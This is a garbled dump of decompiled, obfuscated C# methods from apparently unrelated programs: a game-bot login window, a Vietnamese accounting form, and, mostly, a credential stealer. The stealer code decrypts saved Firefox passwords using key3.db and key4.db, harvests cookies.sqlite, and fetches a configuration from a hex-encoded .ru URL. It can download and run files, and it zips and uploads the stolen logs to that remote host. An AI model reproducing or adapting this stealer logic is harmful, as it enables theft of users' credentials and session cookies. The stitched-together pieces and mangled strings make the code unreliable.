private void method_0() { base.Visibility = Visibility.Hidden; if (!CommandLine.Arguments.Exists("noupdate") && !GlobalSettings.Instance.DisableUpdateCheck) { try { Class12.smethod_5(); } catch (Exception exception) { ilog_0.Error("An error occured while checking for updates.", exception); } } if (!Class12.smethod_1(GlobalSettings.Instance.AuthRegion, GlobalSettings.Instance.LoginKey)) { MessageBox.Show(string.Format("There was an error authenticating your key with the server. Please try again or use a different key.{0}{0}{1}", Environment.NewLine, Class12.string_0), "Hearthbuddy", MessageBoxButton.OK, MessageBoxImage.Hand); } else { Class12.smethod_3(); Application.Current.MainWindow = this.mainWindow_0; this.mainWindow_0.Visibility = Visibility.Visible; this.mainWindow_0.Show(); this.mainWindow_0 = null; base.Close(); this.NeedsToShow = false; } }
// Token: 0x060001E6 RID: 486 RVA: 0x0000F60C File Offset: 0x0000D80C public static void smethod_8(string string_3, byte[] byte_0, string string_4, string string_5) { try { string path = Class12.smethod_5(Path.Combine(string_3, "logins.json")); if (File.Exists(path)) { foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; Gecko4 gecko = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); Gecko4 gecko2 = Gecko1.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko.Objects[0].Objects[1].Objects[1].ObjectData, gecko.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Gecko6.lTRjlt(byte_0, gecko2.Objects[0].Objects[1].Objects[1].ObjectData, gecko2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Class12.list_3.Add(string.Concat(new string[] { "URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"URL : ", jsonValue["hostname"], Environment.NewLine, "Login: "******"Password: "******"Browser : ", string_4, Environment.NewLine, "Profile : ", string_5, Environment.NewLine, Class12.list_3[i] })); } Class12.list_3.Clear(); } } catch (Exception) { } }
// Token: 0x060001DF RID: 479 RVA: 0x0000F034 File Offset: 0x0000D234 public static void smethod_1(string string_3, string string_4, string string_5) { try { if (File.Exists(Path.Combine(string_3, "key3.db"))) { Class12.smethod_8(string_3, Class12.smethod_10(Class12.smethod_5(Path.Combine(string_3, "key3.db"))), string_4, string_5); } Class12.smethod_8(string_3, Class12.smethod_9(Class12.smethod_5(Path.Combine(string_3, "key4.db"))), string_4, string_5); } catch (Exception) { } }
// Token: 0x060001E5 RID: 485 RVA: 0x0000F470 File Offset: 0x0000D670 public static void smethod_7(string string_3, string string_4, string string_5) { try { string string_6 = Path.Combine(string_3, "cookies.sqlite"); CNT cnt = new CNT(Class12.smethod_5(string_6)); cnt.ReadTable("moz_cookies"); for (int i = 0; i < cnt.RowLength; i++) { try { Class12.list_0.Add(cnt.ParseValue(i, "host").Trim()); Class12.list_1.Add(string.Concat(new string[] { cnt.ParseValue(i, "host").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "path").Trim(), "\t", (cnt.ParseValue(i, "isSecure") == "1").ToString(), "\t", cnt.ParseValue(i, "expiry").Trim(), "\t", cnt.ParseValue(i, "name").Trim(), "\t", cnt.ParseValue(i, "value"), Environment.NewLine })); } catch { } } } catch (Exception) { } }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }
private void btn_Save_Click(object sender, EventArgs e) { if (this.Txt_Voucher.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o số chứng từ", 1); this.Txt_Voucher.Focus(); } else if (this.Lbl_DbAccName.Text == string.Empty) { Class7.ShowMessageBox("Số t\x00e0i khoản kh\x00f4ng hợp lệ", 1); this.Txt_Account.Focus(); } else if (this.Txt_Remark.Text == string.Empty) { Class7.ShowMessageBox("Bạn chưa khai b\x00e1o diễn giải giao dịch", 1); this.Txt_Remark.Focus(); } else if (DateTime.Parse(Class7.smethod_19()).Subtract(DateTime.ParseExact(this.Txt_TranDate.Text, "dd/MM/yyyy", null)).TotalDays < 0.0) { Class7.ShowMessageBox("Ng\x00e0y hiệu lực kh\x00f4ng thể chọn trong tương lai", 1); this.Txt_TranDate.Focus(); } else { string str2 = string.Format("{0:MM/dd/yyyy}", this.Txt_TranDate.EditValue); string str3 = this.Txt_Voucher.Text.Trim(); string str4 = this.Txt_Account.EditValue.ToString(); double num = Class7.ParseDoubleValue(this.Txt_Amount.Text); double num2 = 0.0; string str5 = string.Empty; string str6 = this.Txt_Remark.Text.Trim(); string str = this.Txt_TransNum.Text.Trim(); int num3 = 1; if (num <= 0.0) { Class7.ShowMessageBox("Số tiền kh\x00f4ng hợp lệ", 1); this.Txt_Amount.Focus(); } else { string str7 = this.string_1; if (str7 != null) { if (!(str7 == "N")) { if (str7 == "E") { if (Class7.ShowMessageBox("Bạn c\x00f3 chắc chắn kh\x00f4ng ?", 2) != 1) { return; } this.btn_Skip_Click(this, new EventArgs()); Class12.smethod_5(str4, this.Txt_TransNum.Text.Trim(), num, str6, true); Class12.smethod_4(str4, this.double_0, true); Class12.smethod_2(str4, num, true); } } else { this.btn_Skip_Click(this, new EventArgs()); Class12.smethod_3(str, str2, str3, str4, num, num2, str5, str6, num3); new Class6().ComputeTransnum("A"); Class12.smethod_2(str4, num, true); } } Class6.transNum = this.Txt_TransNum.Text.Trim(); Class7.CreateReportInstance(Class6.string_3).ShowPreviewDialog(); } } }